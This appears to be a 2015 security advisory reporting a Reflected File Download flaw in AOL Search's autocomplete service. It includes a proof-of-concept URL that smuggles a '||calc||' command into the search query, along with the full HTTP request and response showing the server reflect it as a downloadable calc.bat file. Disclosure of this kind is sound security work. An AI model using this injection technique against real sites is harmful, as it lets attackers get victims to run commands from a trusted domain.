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AOL Search Reflected File Download

🗓️ 16 Feb 2015 00:00:00Reported by Ricardo Iramar dos SantosType 
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AOL Search Reflected File Download vulnerability through autocomplete searc

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`Oren Hafif reported a new kind of attack called Reflected File  
Download (https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector)  
in Black Hat Europe 2014 conference.  
More details about the attack you can found in his public  
presentation: https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf.  
Google and Bing have already fixed the vulnerability but I've found  
the same vulnerability in AOL Search Website.  
A malicious user could send the link below to a victim that you  
download a malicious batch file from autocomplete.search.aol.com  
domain.  
In the link below we have search for 'iramar "||calc||' using the AOL  
autocomplete domain. The browser will encode the double quotes but the  
server will escape it (\") and return inside the json on the body  
response.  
Since the response has the header "Content-Type:  
application/x-suggestions+json;charset=UTF-8" the browser will  
automatically try to download the reflected file. Chrome didn't try to  
download the file but Internet Explorer and Firefox will.  
  
http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar"||calc||&it=ws-landing&dict=en_us_search&count=8&output=json  
  
REQUEST  
GET http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar%22||calc||&it=ws-landing&dict=en_us_search&count=8&output=json  
HTTP/1.1  
Host: autocomplete.search.aol.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)  
Gecko/20100101 Firefox/33.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: ...  
Connection: keep-alive  
  
  
RESPONSE  
HTTP/1.1 200 OK  
Date: Tue, 21 Oct 2014 10:30:34 GMT  
Server: Apache-Coyote/1.1  
Content-Type: application/x-suggestions+json;charset=UTF-8  
Content-Language: en-US  
Content-Length: 24  
Keep-Alive: timeout=5, max=10  
Connection: Keep-Alive  
  
["iramar\"||calc||", []]  
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16 Feb 2015 00:00Current
7.4High risk
Vulners AI Score7.4
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